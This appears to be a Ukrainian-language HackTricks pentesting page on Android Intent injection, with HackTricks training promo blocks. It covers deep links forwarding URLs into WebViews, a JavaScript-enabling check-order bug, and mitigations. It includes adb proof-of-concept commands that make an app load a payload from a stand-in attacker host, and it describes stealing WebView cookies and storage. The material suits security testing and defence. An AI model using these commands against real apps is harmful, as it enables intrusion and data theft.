Intent Injection

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Впровадження Intent зловживає компонентами, які приймають Intents або дані, контрольовані атакуючим, які пізніше перетворюються на Intents. Два дуже поширені шаблони під час тестування Android-додатків:

  • Передача спеціально підготовлених додаткових даних до експортованих Activities/Services/BroadcastReceivers, які пізніше пересилаються до привілейованих, неекспортованих компонентів.
  • Виклик експортованих VIEW/BROWSABLE глибоких посилань, які пересилають URL-адреси, контрольовані атакуючим, у внутрішні WebViews або інші чутливі місця.

Якщо додаток відкриває глибоке посилання з користувацькою схемою, таке як:

text
myscheme://com.example.app/web?url=<attacker_url>

і отримуюча Activity пересилає параметр запиту url у WebView, ви можете примусити додаток відобразити довільний віддалений контент у своєму контексті WebView.

PoC через adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS виконується всередині профілю WebView додатку.
  • Якщо JavaScript увімкнено (за замовчуванням або через неправильний порядок перевірок), ви можете перерахувати/використовувати будь-які відкриті @JavascriptInterface об'єкти, вкрасти куки WebView/локальне сховище та здійснити поворот.

Дивіться також:

Webview Attacks

Помилка порядку перевірок, що дозволяє JavaScript

Постійна помилка полягає в увімкненні JavaScript (або інших дозволяючих налаштувань WebView) до завершення остаточної перевірки списку дозволених URL. Якщо ранні допоміжні функції приймають ваш глибокий посилання, а WebView налаштовано спочатку, ваше остаточне завантаження відбувається з уже увімкненим JavaScript, навіть якщо пізні перевірки є ненадійними або запізнілими.

На що звернути увагу в декомпільованому коді:

  • Кілька допоміжних функцій, які по-різному аналізують/розділяють/перебудовують URL (неконсистентна нормалізація).
  • Виклики getSettings().setJavaScriptEnabled(true) перед останньою перевіркою списку дозволених хостів/шляхів.
  • Конвеєр на кшталт: аналіз → часткова валідація → налаштування WebView → остаточна перевірка → loadUrl.

Mitigations

  • Канонізуйте один раз і строго перевіряйте; закривайте при невдачі.
  • Увімкніть JavaScript лише після проходження всіх перевірок і безпосередньо перед завантаженням довіреного контенту.
  • Уникайте відкриття мостів для ненадійних джерел.

Інші класичні примітиви ін'єкції Intent

  • startActivity/sendBroadcast з використанням Intent екстра, наданих атакуючими, які пізніше повторно аналізуються (Intent.parseUri(...)) і виконуються.
  • Експортовані проксі-компоненти, які пересилають Intents до неекспортованих чутливих компонентів без перевірок дозволів.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks